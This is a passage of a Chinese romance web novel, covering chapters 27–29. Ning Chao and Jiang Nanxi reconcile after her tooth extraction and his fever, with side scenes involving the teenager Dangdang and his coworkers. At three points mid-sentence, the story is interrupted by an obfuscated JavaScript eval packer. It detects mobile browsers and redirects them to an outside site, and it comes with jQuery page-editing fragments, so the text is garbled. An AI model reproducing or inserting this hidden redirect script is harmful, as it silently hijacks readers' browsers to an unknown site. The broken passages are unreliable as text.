如果这一切可以解释为绅士风度,那么宁朝在酒吧守了一夜算什么? 如果守一夜可以解释为负责善良,那么李博在什刹海偶遇两人偷拍的照片算什么? 照片是两人在一条胡同小巷,光线不太好,拍出来糊了吧唧的,但依然能清晰看见,那姑娘蹲在地上喂猫,一手扶在小猫身上,宁朝呢,就站边儿上,正往姑娘嘴里喂什么东西。 当时不知道情况,现在看上去应该还在追求中,但贾志远脑子里就一念头。 ——不儿,这跟谈了有什么区别? 缘分来了挡不住,宁朝跟那姑娘有发展贾志新不稀奇,稀奇的是,宁朝竟然是一见钟情。 他挑挑眉毛替发小说:“一个萝卜一个坑,谁栽谁知道。” 自始至终,宁朝一言不发。 他望着球场上空,眼神没有聚焦,球网,球门,灯光,全部落不到眼底。 他在想贾志新的那句话。 是一见钟情,却不是在酒吧,而是更早。 比所有人以为的第一面,都要早。 贾志新还在耳边喋喋不休,撺掇着想从他身上再挖出什么劲爆的料出来,宁朝听得烦,径直起身大步走出球场。 贾志新爬起来边走边追,忙着掏手机找李博报信儿:“我就说是情伤,掏钱!” 发小太聒噪,宁朝第二天躲进面馆。 店里暂时没客人,他和当当一起坐在靠墙角落的桌子,当当在捣鼓一堆乱七八糟的水果,宁朝安静坐着。 他想消停,但有人不让。 宁天骄微信三连炸。 【你以后一定要遵纪守法。】 【少喝点可乐。】 【最好是别再喝了。】 宁朝觉得莫名其妙:【?】 宁天骄解释:【昨晚做梦梦见接到个肯德基的警情。】 宁天骄:【到了发现嫌疑人是你,我亲爱的弟弟。】 宁朝:【是我,我上肯德基要麦旋风。】 宁天骄:【你偷喝人家两杯可乐。】 宁朝气笑了:【可乐里掺金子了我喝两杯让警察来逮我?】 等等。 宁朝:【你又把我逮警局了?】 人民警察大公无私:【很痛心,但法律面前不能徇私。】 宁朝:【为两杯可乐把亲弟弟抓进去。】 宁朝:【您真行。】 宁天骄劝诫:【你以后真的不要再喝可乐了。】 本来就心里就乱,宁天骄一提可乐,宁朝想到什么,扔掉手机心里又生了一顿闷气。 当当瞟一眼这人阴沉的面色,手里剥着百香果,状似不经意地问:“三哥你心情不好啊?” 宁朝抬了下眸:“你在做什么?” 当当说:“榨果汁啊,我要榨个五颜六色的果汁。” “......”宁朝觉得这也是老天派来气他的。 当当是个小人精:“你是不是跟棒棒糖姐姐吵架了?” 宁朝知道她说的谁,但还是问:“棒棒糖姐姐?” “就上次跟你一起来的那个漂亮姐姐啊。”当当剥到第二个百香果,果皮的汁水将手指染得发黄,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827914|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天超市老板说有人送了我一大串棒棒糖,虽然没看清人,但看背影就是那个姐姐。” “你为什么跟她吵架?”说完当当立马调转话头。 宁朝停了停:“大人的事儿小孩别管。” 当当“切”了声:“谁稀得管你。” 没到两秒,当当看热闹似地眼睛锃亮:“她把你甩啦?” “......” 这下不想说也得说了。 宁朝右手胳膊斜倚在椅背上,坐姿散漫不羁,他微微垂眸,不紧不慢地问:“你为什么觉得我们是在一起了?” 当当想都没想脱口而出:“因为你真的很明显啊。”从那天他看姜南西的眼神。 宁朝说:“就不能我还在追求中?” “嗷那确实。”当当点点头,一副恍然大悟的样子,“你这么狗,漂亮姐姐不待见你是应该的。” 宁朝被这话噎了下,不想说话,更不想解释什么。 岔人归岔人,当当心里头还是向着她三哥这边的,她努力地安慰宁朝:“不过三哥你别灰心啊,总体来说你的条件还是很优秀的,追漂亮姐姐还是有机会的。” “当当。”宁朝忽然叫她。 当当抬起头:“怎么了?” 宁朝问:“如果等以后你当了演员,遇到个很好的机会,但这个机会和爱情有冲突,你选什么?” 当当懂了:“漂亮姐姐因为事业不要你啊。” 宁朝从鼻腔里溢出一声冷哼:“你那年级第一应该知道怎么选,我去问问他。” 这话一出,当当霎时脸色大变。 她神情慌乱地匆匆转头,目光在四周迅速逡巡一圈,确定没其他人听到之后才转回头,狠狠瞪了一眼宁朝,而后撇了撇嘴:“选机会啊。“ 十几岁的少女思想已经很成熟,清醒且犀利:“人一辈子能遇到很多次爱情,但机会可能只有一次。” 听到“很多次爱情”,宁朝眸光暗了下去。 接着,当当拷问宁朝:“那么你想让漂亮姐姐选什么呢?” “机会。”宁朝毅然决然。 当当说:“那你纠结这么多。” 宁朝再次陷入沉默,他没有真的在纠结选什么。 很早以前宁朝就确信一点,爱的本质是自由,尊重并信任对方独立并完整的人格,允许对方做自己,无条件给予一切支持,如她所是,而非如己所愿。 这种认知来源他的家庭,宁家家教讲究开明达观,兼容并蓄。哪怕当年他先斩后奏,气得他家老头儿往他肩膀上烙一疤儿,也不耽误老头儿大半夜地挑灯研究机械工程是个什么玩意儿。 宁朝明确地知道,对的爱情不用选择,即便不得不,真爱的人会迎难直上并肩同行。 情绪不定的真正原因,是他不敢确定,自己是否有被选择的入场券。 当当搞不清他的阴晴不定,用手托起剥好的水果,递到他眼前:“心情不好就吃个橙子吧三哥。” “......”宁朝转头看向窗外一动不动。 当当狐疑问道:“又怎么啦?” 宁朝说:“这太阳长得像个破灯笼。” 店里客人让拿饮料,当当不想动,让宁朝去。 等宁朝一走,她转过身体制造处一片视野盲区,点击宁朝还没锁屏的手机,果然发现他微信置顶了一个女生,并且是唯一置顶。 当当偷偷记下这串微信号,在宁朝回来前把手机放回原处,当作一切都没发生过。 第三天,宁朝想起来自己还有家公司。 但不是去上班,而是监督员工上班。 杨韫第三个从宁朝办公室里走出来,受不了了大声吐槽:“他不出去混日子大清早的在这发什么癔症?” 话音刚落,周时懿抱着电脑推门而入。 从一早,宁朝把各位负责人挨个叫进办公室,一对一跟他汇报工作进度,汇报工作是正常,但今天的宁朝不正常,他不提问也不发表意见,就坐那儿听,听完了就下一个,跟公园里一坐就是一整天的大爷一样,拿他们撒乏子打发时间呢。 阅川和王廷章跟俩门神似的,一左一右抱臂环胸站在方续身侧,二人同步地耸耸肩,方才已经严刑拷打过方续,没得出一点有用的信息。 方续忙得焦头烂额,键盘敲得噼里啪啦响,各位负责人不干活,公司前途堪忧,他只能孤军奋战,为这家公司的未来鞠躬尽瘁。 没几分钟,周时懿出来了,几人诧异:“你怎么这么快?” 周时懿一脸淡定:“他问了我一个技术问题,说完就让我走了。” 阅川握拳庆祝:“技术拯救世界!” 王廷章表达不满:“没有市场饿死你们这帮死直男。” 同为技术人员的杨韫无所谓,她又不是死直男。 “到底怎么个事儿啊?”阅川不依不饶,敲打敲打方续的工位,“小方续快跟哥哥说说,你家老板最近怎么了?” 不比其他几人清闲,方续手头还有一堆工作:“阅哥求求了,这个报告再写不完我会被裁掉的。” “那不会。”王廷章笃定道,刚要再说被杨韫打断:“行了知道你们赚得多。” 闹哄哄里,突然有人说了句:“就算公司没钱也不会裁员的。” 三人不约而同看向说话的人,周时懿云淡风轻:“你们还有人记得老大的微信号吗?” 方续放到飞起也不忘吃瓜,手速飞快点开宁朝微信:“gdbcy?” 阅川:“什么意思?” 周时懿抬手慢悠悠扶下眼镜,镜片后眸光一闪:“狗蛋不裁员。” 众人:“......” “有病吧!”杨韫骂了句,随即拿起电脑转身走了。 其他几人也各自散去回去工作。 工位重新变得宽敞明亮,方续终于迎来一片清明天地,可以心无旁骛地完成剩下的报告。 十分钟后,宁朝走出办公室,指尖点点方续办公桌。 没等他说话,方续抱着电脑欲哭无泪:“哥求你了要不你玩会儿手机吧!我再不干点活儿你这公司真要黄了。” 27. 矿泉水 姜南西收到好友验证消息的时候,先是疑惑了一下,而后看到“棒棒糖姐姐”几个字时,猜出是谁,点击通过添加好友。 当当约她去五棵松潮玩运动馆。 既然是出来玩,姜南西以为当当会精心打扮一方,十几岁正是爱打扮爱美的年纪。 谁知这小姑娘直接穿着套校服,头发随便绑成丸子头,骑着辆老式二八大杠就来了,等红绿灯时,那二八大杠在一众造型帅气的公路车中间,显得像个误入时尚秀场的老古董。 阳光像打翻的蜂蜜罐,汨汨流淌在树梢和街头,处处金光闪耀。 隔着车水马龙的人行横道,当当站在对面扬起手臂热情地招手,红白的校服袖子滑下来,露出手臂上的手链,随着她的动作来回晃动。她脸上笑容活泼,眼眸明亮而欢快,仿佛随时随地都能蹦出快乐的小火花。 这画面深深刻进姜南西的脑海。 十几岁正是不打扮也很美的年纪。 锁好二八大杠,当当张开双臂紧紧地抱住姜南西,宛如二人已是认识多年的好朋友:“棒棒糖姐姐,再次见到你好开心哦!” 姜南西掸去她肩膀上的灰尘,略有抱歉地说:“早知道那天我先加你了。” “什么时候都不晚嘛!”话毕,当当拉起姜南西的手往前冲去,边跑边喊道:“但现在不跑起来快乐就晚啦!” 馆内空间开阔,色彩明艳,各种潮玩设施应有尽有,动感的音乐环绕之下,欢笑声与喝彩声交织成一片欢乐的海洋。 当当一进去就像上了发条,拽着姜南西不停撒欢儿,在蹦床上连着蹦倒十几个小孩儿才舍得下来,仿佛浑身有使不完的劲儿。 “怎么样南西姐,是不是很爽?”玩耍中,当当已经知道了姜南西的名字,两人坐在休息区地上聊天,“我平时考差了心情不好,就来这边解压。” 姜南西戏谑地笑:“平时也是逃课?”如果没记错的话,今天是周一。 当当竖起一根手指头“嘘”了声:“上午都是数学课,我才不想听老和尚念经呢。” 她问姜南西:“南西姐,你高中的时候不逃课吗?” 姜南西抬起头,看着对面墙上攀岩的人,定神想了想:“没有,我也不想听老和尚念经,可是更不想试卷发下来很难看。” 当当说:“那你那个时候成绩是不是特别好?” 姜南西想到什么,眼光促狭一转落在当当脸上:“反正考不到年级第一。” 当当被打趣,嘟了嘟嘴巴小声说:“你怎么说话跟三哥一模一样。” 姜南西没回应这句,不知道是不是因为太嘈杂没听见。 歇了片刻,当当敛起嬉闹,表情变得认真,说起今天约她出来的真正原因:“南西姐,你是不是要离开北京了?” 姜南西惊讶反问:“你怎么知道的?” “猜的啊。”当当双手撑在身后地面,双腿伸得笔直,脚丫子一蜷一蜷在放松,“之前你不是说辞职了吗,加上我看你最近发的那些朋友圈,都是在北京各大景点玩,感觉就是把想玩的地方都逛完,然后转身就走的样子。” “嗯。”不再是模棱两可的答案,现在的姜南西心里有了清晰的方向,“去干一件大事。” “这么酷!” 小姑娘的思维是很跳脱的,想到什么就说什么,当当古灵精怪:“去码头整点薯条吗?” “我要去新疆,你可以理解成......”姜南西眼中闪烁着熠熠光芒,她停了下,声音坚定而期待:“去冒险。” “好!我支持你!”当当“无脑”举旗应援,高举双手为她欢呼:“去新疆整点烤包子!” 姜南西被当当这副模样逗得笑出声来。 当当继续说:“南西姐,其实我真的很羡慕你。” 姜南西扬了下眉,视线温润而平和地看着她,等着她把话说完,当当说:“你看啊,你现在完完全全经济独立,有能力又有经验,也不用被人管,可以做任何自己想做的事情,不像我,现在考试考差了还要被我妈克扣零花钱。” 她喋喋不已说着自己这样那样的烦恼,却没有看到,一旁姜南西的眼神同样羡慕。 透过鲜活灵动的当当,姜南西恍惚看见好多年前的自己,她更喜欢的那个时候的自己,比现在的她热忱,比她遗憾少,比她心怀更多理想主义。 大概这就是年龄差异带来的认知错位,二十岁的人满心满眼憧憬三十岁的成熟和阅历,而三十岁的人,则不自觉偷偷羡慕二十岁的青春和单纯。 无论在人生的哪个年龄阶段,大家都忍不住将目光投向别人,对年少者怀念,对同龄人比较,对年长者向往,每个人都活在彼此的镜像里,看见自己尚未拥有又或者已经失去的东西。 但好像又不一样。 二十岁的眼睛是向前看的,而三十岁频频回头,总想要找一条后路。 随着后路变多,渐渐的,就没有向前的路了。 思维的齿轮经时光转动在此刻紧密咬合,形成一个完美的闭环。 姜南西忽然更加深刻意识到樊老师的话,要把喜欢的道路变成正确的选择,因为比起追求别人拥有的,追求自己喜欢的更重要。 热爱会指引方向,能把人带离后路的僵局,走向更长更远的前路。 而这些话姜南西没有直接告诉当当,她知道自己没有樊老师那样润物细无声的表达能力,一不小心就会变成枯燥的说教,况且也不必。 未来,当当有她自己的路,她终会变成她自己。 姜南西只问:“当当,你喜欢当演员吗?” 当当口吻骄傲声色响亮:“肯定啊,我天生为表演而生。” 姜南西嘴角噙着一抹笑意,眼中满是对当当的鼓励:“那你一定要当上演员,拿遍三大国际电影节的所有奖杯!” “还要跟南西姐你合作,到时候找你来给我当导演!” “好呀!等你功成名就准备隐退幕后的时候,就可以来找我了。” “但是南西姐我还是好羡慕你能说走就走啊。”当当到底没绕过心里的那道坎儿,一想到下午又要回去考试,再考不好下半年零花钱岌岌可危,她就愁眉苦脸,抱着姜南西靠在她身上苦兮兮的哼唧,“你把我也带走吧。” 姜南西笑出来,动作轻柔地拍拍她的侧脸:“我也很羡慕你总是元气满满啊,永远都不知道累,像个小太阳一样。” “那当然,毕竟我可是优秀共青团员!再说了——” 当当瞬间挺直腰杆,自信又自豪地一捋头发:“我大名可是叫党满意!!!” · 拔智齿的日子终究是来了,姜南西心情忐忑着独自去了医院。 她没告诉何星屿和陈笛,两人一个忙着赶项目,一个忙着筹备婚礼,姜南西不想给他们添麻烦。 同样是大雨滂沱,姜南西这次打车响应得很快,没几分钟就有司机接单,看她一个人撑着伞,司机还特意下车过来给她开门。 姜南西连声跟她道谢,司机大姐笑声爽朗:“得我谢谢您这一单,拉完我正好顺道回家睡觉了。” 她又看向姜南西身上的外套:“今儿个这天是冷哈。” 姜南西随口搭话:“是呢,大夏天的突然降温。” 尽管做足了心理建设,但再次坐到治疗时的门口,姜南西仍是控制不住地手脚发凉。 走廊里,消毒水刺鼻的气息肆意弥漫,配合着身前屋内牙钻机尖锐的轰鸣,如同一把钝刀,在无形中凌迟着姜南西的神经。 听着牙齿就无故发酸。 护士拿着病历本站子门口,按顺序喊人:“姜南西。” “到!”姜南西站起来,边走边握下身侧的手给自己打气。 躺到治疗椅上,还是上次那个医生,他拉过无影灯往姜南西脸上一照,接过护士递过来的细细的针筒:“姑娘看着可比上次气色好多了啊,还是得多休息。” 他嘴上这么说,下针推麻药一点没留情,中途还补了句:“不用紧张,紧张也没用。” 随着麻药注入肉里,姜南西感到半边侧脸失去知觉,大脑开始放空,闭上眼无意识听从医生的指挥:“往这边偏一点,嘴巴张大一点,欸姑娘你这牙好拔马上就完事儿了啊。” 还有那句:“轻轻划开你的牙龈,慢慢露出你的智齿。” 护士止不住地在旁边笑:“元医生别把人患者逗笑了。” 姜南西连忙举起右手摆了摆,意思是不会,没举左手,感到疼才需要举左手。 元医生动作熟练也专业,不到二十分钟成功拔掉两颗智齿,他将智齿扔进托盘,发出“铛”的一声:“只要智齿拔得快,没有悲伤没有爱。” 整个过程因为医生不停活跃气氛,注意力被转移,除了被治疗室里空调冻得手发僵,姜南西全程没太大感觉。 但还是紧张到眼底泛起一片水汽,拿完注意事项单走出治疗室时,姜南西看路还是雾蒙蒙的。 接下来拿药,护士交代如果来前没吃止疼药,最好赶在拔完牙十分钟内吃一颗,再晚就要禁食禁水了。 自动贩卖机正对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827915|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着窗户风口,温度很低,让姜南西本就有些僵的手变得麻木,她甩了甩胳膊,摁下矿泉水的按钮。 付钱时手机面容怎么都识别不上,好不容易用不怎么灵活的手一下一下输完密码,时间太久贩卖机跳回初始界面。 姜南西无奈轻吸一口气,再抬手时,身后另一只手比她更快地伸了出来,长指轻轻摁下贩卖机的矿泉水按钮,随后,这只手的主人默不作声掏出三枚硬币,依次投进投币口。 硬币连续滚落,在金属甬道里发出丁零哐当的撞击声,在安静的角落里显得格外清晰。 水掉下来,姜南西没急着去拿,也不看身后的人,就好像不能用眼睛直视太阳。 可也是因为像太阳,她不看也能感知到他的存在。 宁朝弯腰拿起水,拧开瓶盖递到她手边,姜南西依然站着没动,水波在瓶中微微晃动,切割周围的光影。 宁朝眼神变了变,索性直接一手扶住姜南西的肩膀,轻轻用力把人转过来跟自己对视,今天的宁朝戴着口罩,碎发半掩眉梢,只露出一双好看的眼睛,倒映着姜南西的身影。 他看着姜南西的眼睛温声说:“听话,喝口水。” 没看见还好,一看见人姜南西就忍不住了,有种说不清道不明的酸楚迅速从心底泛起,握着止疼药的手在微微颤抖。 她搞不明白自己为什么会这样,只能归咎于刚拔完牙导致情绪太敏感。 看到她手里的药,宁朝大概猜到什么意思,他神色平静抽走药盒,打开掰下一粒放进她手中,一手稳稳拿着水,另一只手安抚似地覆在她后脑勺,俯下身跟她道歉:“是我错了,你把药吃了再生气好不好?” 姜南西不知道究竟什么原因,让他把两人的矛盾全部定义成他的过错。 姜南西不能说话,她无声吃完药,然后抬眸看向他的口罩,眼里明晃晃疑惑。 宁朝将口罩往上提了提,在鼻梁位置捏了下,遮得更加严实,没说为什么戴口罩:“回家吧。” 两人不声不响往停车场走。 外面的雨已经停了,雨后的风裹挟潮气吹到人身上,即使在夏季也能感到阵阵寒意,一路上,宁朝偶尔会咳嗽几声,每次咳完,他都会再提一提脸上的口罩。 到停车场找到车,宁朝先一步打开副驾驶车门,让姜南西坐进去,但姜南西站在边上没动,而是转头看向他的脸,视线从眼睛下落到口罩,再缓缓上移回到眼睛。 被她这么一看,宁朝有点不明就里,哑着声音问:“怎么了?” 说完又咳嗽一声。 一秒钟的决定,姜南西果断出手,一把抽走宁朝手里的药和车钥匙,紧接着,她眼睛紧盯着宁朝,用下巴示意了下副驾驶,意思是:上车。 宁朝不过不够迟疑了下,被姜南西近乎强硬地塞进去,头还在车顶磕了下。 然后她自己拿着车钥匙走进主驾驶,坐下系好安全带,转头再次看向上车后就没动过的人,又是一记凶狠眼神:系安全带。 宁朝收回一直放在姜南西身上的目光,侧身拽安全带,脑袋朝向车窗时,他口罩下的嘴角偷偷往上扬了扬,笑意拉弯眼尾,重新坐正时又恢复如常。 开回去的路上预料之中的沉默,一个不能说,一个......不敢说。 眼下不是什么说话的好时机。 姜南西更不觉得,所以一停好车,她就拿过放在车门储物格里的东西,头也不回地下了车,从头到尾没再给宁朝一个眼神。 宁朝坐在副驾驶,手肘随意地撑着车窗,手背抵在脸侧,目光专注追着姜南西逃似的背影。 刚才故作声势凶巴巴,现在又胆小地落荒而逃,想着姜南西的样子,宁朝感觉阴郁几天的心情突然好起来,跟雨后的天空一样放出光彩。 ——越想越觉得,怎么能这么可爱。 实在情不自禁,宁朝低低地笑了出来,一个没收住引起一顿咳嗽,他摘下口罩,拿起手边的矿泉水。 刚拧开瓶盖,余光蓦地瞥见姜南西去而复返的身影。 宁朝赶紧重新戴好口罩,一口水都没喝上。 姜南西脚步匆匆,她走到离车一米远的地方,冷着脸将车钥匙精准无误地抛进车窗,抛到宁朝身上,而后再次转身离开,还是不看宁朝。 宁朝眼中闪过一丝错愕,一秒后,终是没能忍住,放肆大笑了出来。 他靠在座椅上,边笑边看向放晴的天空,太阳慢慢从云层里露出来,天光大亮。 谁说这太阳长得像破灯笼,这太阳亮亮堂堂的,多可爱。 28. 白粥 身体不舒服到不知第几天,宁朝开始发烧,窝在东湖湾的家里睡了一整天,晚上爬起来处理工作,阅川在电话里劝他不要那么拼命,万一病死了家大业大无人继承。 宁朝说现在还有力气去给他办个收养手续。 阅川骂骂咧咧挂了电话。 没歇几分钟,下一个电话又进来,宁衡远的。 他命令式的口吻:“今儿晚上我养的那昙花要开了,你回来给我录个视频。” 手机放茶几上开着免提,宁朝端杯水坐到沙发上,弯腰翻腾药箱找退烧药:“没时间。” 宁衡远大着嗓门嚷嚷:“就那么一下,跟放个屁似的,耽搁不了你多少西班牙时间。” 这声音噪得宁朝脑仁儿疼:“您干嘛去?” 宁衡远说:“我要睡觉。” “......”半天没找到药,宁朝坐起来,因为生病,冷着声儿没什么好脾气:“让我一生病的人去拍昙花,您自个儿去睡觉去,有您这么使唤人的吗?” “每个岁数都有每个岁数该干的事儿!”宁衡远言辞正色,大声嚷道:“少judge我!” 说完“啪”一声挂了电话。 宁朝拿起手机迅速点一份药品外卖,而后拿起桌上杯子,将杯子里的水一饮而尽,转头继续加班,压根没把宁衡远的话放心上。 大半夜的看昙花,谁烧糊涂了谁去。 这一系列行动和心理全在宁衡远的掌握之中,他不慌不忙给姜南西打电话,语气凄凄惨惨戚戚:“二弟啊!你那不孝侄孙儿快烧死了!” 半个小时后,姜南西手里攥着两盒感冒药,直直站在宁朝家门口,眼中迷茫而混乱。 宁衡远在电话里把宁朝形容得快要一命呜呼,姜南西一时着急没想太多,急匆匆拿了家里的备用药,然后按着宁衡远给的地址赶到地方。 可在按下门铃的前一秒,她却像是被施下定身咒,两只脚跟灌了铅似的,钉在原地怎么也迈不动。 当下两人微妙又难言的局面,让姜南西不知道该不该进去,倘若真的进去了,又该用什么心情怎么面对宁朝。 是该关心还是装作没事儿,又或者一不做二不休,直接把药放在门口走人。 踟蹰过后,姜南西与生俱来的鸵鸟属性再次作祟,迫使她做出最安全的选择。 她知道这是逃避,很怂,但不得不说有用,像一层无形的保护壳,可以将她和未知的复杂情绪隔绝开来,安心埋土里装死。 就在她成功说服自己,准备把药放到地面的时候,门毫无预兆被人从里面打开。 两人视线相撞,同时怔住。 门里,宁朝眼里惊讶没来得及收回,刚睡醒的头发带着几分凌乱,他哑着声音解释:“门铃提醒外面有人,我以为是送药的来了。” 姜南西下意识拿起手上的药,嘴里头磕磕巴巴道:“我是......来送药的。” 这一面见得猝不及防,导致两人说完话又同时定住,好似往平静的湖面扔进一块巨石,把两人都砸懵了。 周围静悄悄,有什么东西在发酵,姜南西直觉不能再待不下去,她伸手想把药放下。 静寂中,宁朝轻笑一声,清冽低懒。 他一手扯过姜南西的胳膊,连人带药拉进屋里,房门“嘭”地关上,走廊声控灯齐刷刷亮起,像亮了一整排的小星星。 屋里只开沙发后工作桌的一盏小灯,淡弱光线压向四周,玄关寂暗,空气因为对视变得粘稠而安静,宁朝一手撑在门上,一手抓着姜南西的手腕,没放,将她圈在自己怀里。 姜南西先低下头,低垂着睫毛,影子乌压压落在眼下。 她声音小心翼翼:“我就来送个药。” 宁朝“嗯”了一声,意思是知道了。 又静几秒。 “那我走了。”姜南西身体往后挣了挣,宁朝重新将她拉回来,嘴角笑意平缓。 如果说之前所有的坏心情都是因为姜南西的逃避和不回应,那现在的好心情也是。 她能来就说明了一切。 宁朝低声说:“闭上眼睛。” 姜南西想问为什么,抬头时不小心撞到宁朝的下巴,随即听见头顶传来一声笑,挟着暮色缱绻,悠悠缓缓落进她耳朵里。 宁朝没再说话,手掌轻轻盖在她眼睛上,接着松开她的手去摸大灯开关,打开。 光亮一片。 宁朝保持这个姿势几秒,放下手,眼睛看向身体隐隐发颤的姜南西。 姜南西同样看向他。 刚才光线不好没发现,现在看清了,姜南西的心重重揪起。 宁朝看上去很憔悴,他原本皮肤冷白,现下眼睛里泛着一圈红血丝,加上说不上来的疲倦和脆弱,衬得脸色更加苍白没有一点血色,整个人几乎被病态淹没。 她顾不上别的,皱起眉问:“你一直没吃药?” 宁朝一瞬间明白了什么。 “啊。”他视线往右瞥了下,不到半秒转回来,但没敢看姜南西,而是超不经意地摸下鼻子,“忙着加班......没时间吃饭......就没吃。” “饭也没吃?”姜南西惊得声调稍稍扬起。 这是真的,但宁朝也是一定会艺术加工的。 他看着姜南西脸上肉眼可见的紧张,眨了眨眼睛:“身上疼走不动,点外卖要看手机,眼睛也疼。” 姜南西无奈又略带薄愠地看着他,因为两个人距离很近,所以她能感觉到宁朝呼吸灼热高于正常人,喷洒在她脸侧,温度很烫。 姜南西说:“那我给你叫个外卖?” 宁朝摇了摇头,垂下眼睫看起来病恹恹的:“外卖太油了。” “粥呢?” “我之前吃外卖的粥不小心食物中毒,从那之后再也不吃外面的粥。” 姜南西看着他:“大哥说我每次买的粥都是你吃的。” 宁朝:“......” 他抿下嘴唇,声音听上去更哑了:“那我等明早福香斋开门再吃饭。” 话是这么说的,但他也不动,就那么看着姜南西,用生病时有气无力的可怜表情,生生把姜南西的愧疚看起来了,她怕自己如果真的转身就走,宁朝一个人会病死在家里。 她塌了塌肩膀,投降了:“你家有什么?” “什么都有。”这一刻,宁朝突然感觉不吃药病也能好。 宁朝家的厨房里,米油盐酱醋之类的基本食材一应俱全,都是之前宁衡远住在这边时置备的,除了食盐被消耗大半,其他的都没怎么动。 姜南西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833010|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是会做饭的人,平时都是搜索小红书教程,根据心情想做什么做什么,味道不能说好吃,顶多算凑合,也就何星屿给面子愿意吃。 所以没办法,姜南西只能给病号煮个白粥。 窗外,天空是纯净的深蓝色,月光飘渺,厨房锅里的水声细细扑簌,米香清甜,在空气里细细柔柔地漾开。 姜南西在厨房里煮粥,背对门口,身影在一片色调简约线条利落的装修风格里,显得很瘦弱又单薄。 宁朝双手插兜,靠在厨房玻璃门边,静静看着姜南西。 气氛就是这样难以预料,一波平一波起,从刚才的安然平稳,到现在的相对无言。 说无言也不准确,其实是安静下来,无论说什么都有抹之不去的尴尬。 “姜南西。”宁朝率先打破沉默。 姜南西没有说话,但宁朝知道她在听。 宁朝对姜南西说:“这几天不是不去找你,而是我从环球回来没多久就开始生病,怕是流感传染给你,所以忍着一直不去见你。” 昨天在医院,纵然已经排除了不是流感,但宁朝还是担心风险,坐在车里徘徊又徘徊,最后实在又不放心姜南西一个人,他知道她肯定不会麻烦朋友,所以戴了口罩顶着头疼赶过去。 姜南西静静听完他的话,没有很快回复。 感觉粥煮得差不多,姜南西关掉天然气灶,可此时,她的脑子里念头一团乱麻,根本没多思考,想也没想直接伸手去掀锅盖,被滚烫的高温狠狠烫了下。 她触电般快速缩回手,烫到的手指本能地捏住自己耳垂。 身后脚步靠近,没等姜南西反应,宁朝轻轻握住她被烫伤的那只手,水龙头开到最大,水声潺潺一泻而下,他将她的手放到水下,让清凉的水流不停冲洗她的手指。 一边冲洗,宁朝一边低头仔细检查,虚白的侧脸上满是焦急:“傻不傻,烫伤了摸耳朵有什么用。” “这有科学依据的。”姜南西瓮声辩驳,“耳垂没有血液供应,没有温度可以降温。” “是吗?”宁朝这么问,他一直盯着姜南西的手,“那怎么感觉我的耳垂是热热的?” 光线界限分明,他站在稍暗的地方,深邃眉骨下的眼睛凝着专注和认真,所有注意力都在姜南西的手上,仿佛最后一句就那么随口一说。 手被他紧紧攥住,清水的冰凉不断翻涌,手上那层温热却更甚,不容忽视。 姜南西收回目光,疑问道:“你是不是烧太狠了?” 宁朝不太在意:“待会儿再测一个。” 话音一落,宁朝感觉有只柔软的手覆上他的额头。 姜南西用手心感受他额间的温度,确实比想象中热得多,她叮嘱:“吃完粥赶紧把退烧药吃了。” 她刚想把手收回来,却被宁朝一把按住不让动。 他身体缓缓靠近,眼睛亮亮的,澄澈的瞳孔里,满满当当只盛着姜南西一个人的影子。 宁朝故意放慢语速,学着小孩儿的语气:“小姜老师你摸摸看,是不是很烫。” 姜南西愣了一下,没好气一把推开他的脑门:“烫你个头。”说完她拿起流理台上的碗筷往外走。 “小姜老师真凶。”宁朝跟在身后,嘴里轻声嘟囔。 凶也可爱。 29. 999感冒灵 餐厅,灯影寂寂,无声洒落白色餐桌。 宁朝慢吞吞吃着碗里的白粥,吃粥时,他有一句每一句地拉着姜南西聊天,问她这几天去了哪里,干了什么。 姜南西给他冲999感冒灵,冲好放到他手边,水汽蜿蜒向上飘升。 她情绪没有起伏地说了几个地方。 宁朝听完轻嗯了声,表情没什么变化:“那我再带你逛逛别的地儿。”语气平常的像是一切都没发生过,他们只是在商量下一个游玩的地方。 但是姜南西却说:“不用了。” 宁朝动作倏然停住,抬起眼眸看向她。 姜南西微微低下脑袋,视线垂落在自己身前的半截桌面,宁朝看不清她的神情,只知道那三个字她说的很坚决,没有丝毫犹豫。 宛如利刃,把两人刚才好不容易缓和的关系,再一次捅得支离破碎。 宁朝放下勺子,从眼神到语气都平静:“让你不开心,不是我本意。” 他以为姜南西还在纠结环球那天的事。 有再多的解释,一句话都说不出来。 宁朝不希望姜南西在北京最后的记忆,是不快乐的。 气氛一阵静默,宁朝眼神没松,给姜南西时间,也给自己时间,他觉得自己像在等待一场审判。 “宁朝,我不讨厌你。”好半天,姜南西终于抬起头,她直勾勾看向宁朝,眼角微红。 她轻轻地说:“你知道的,我不讨厌你。” 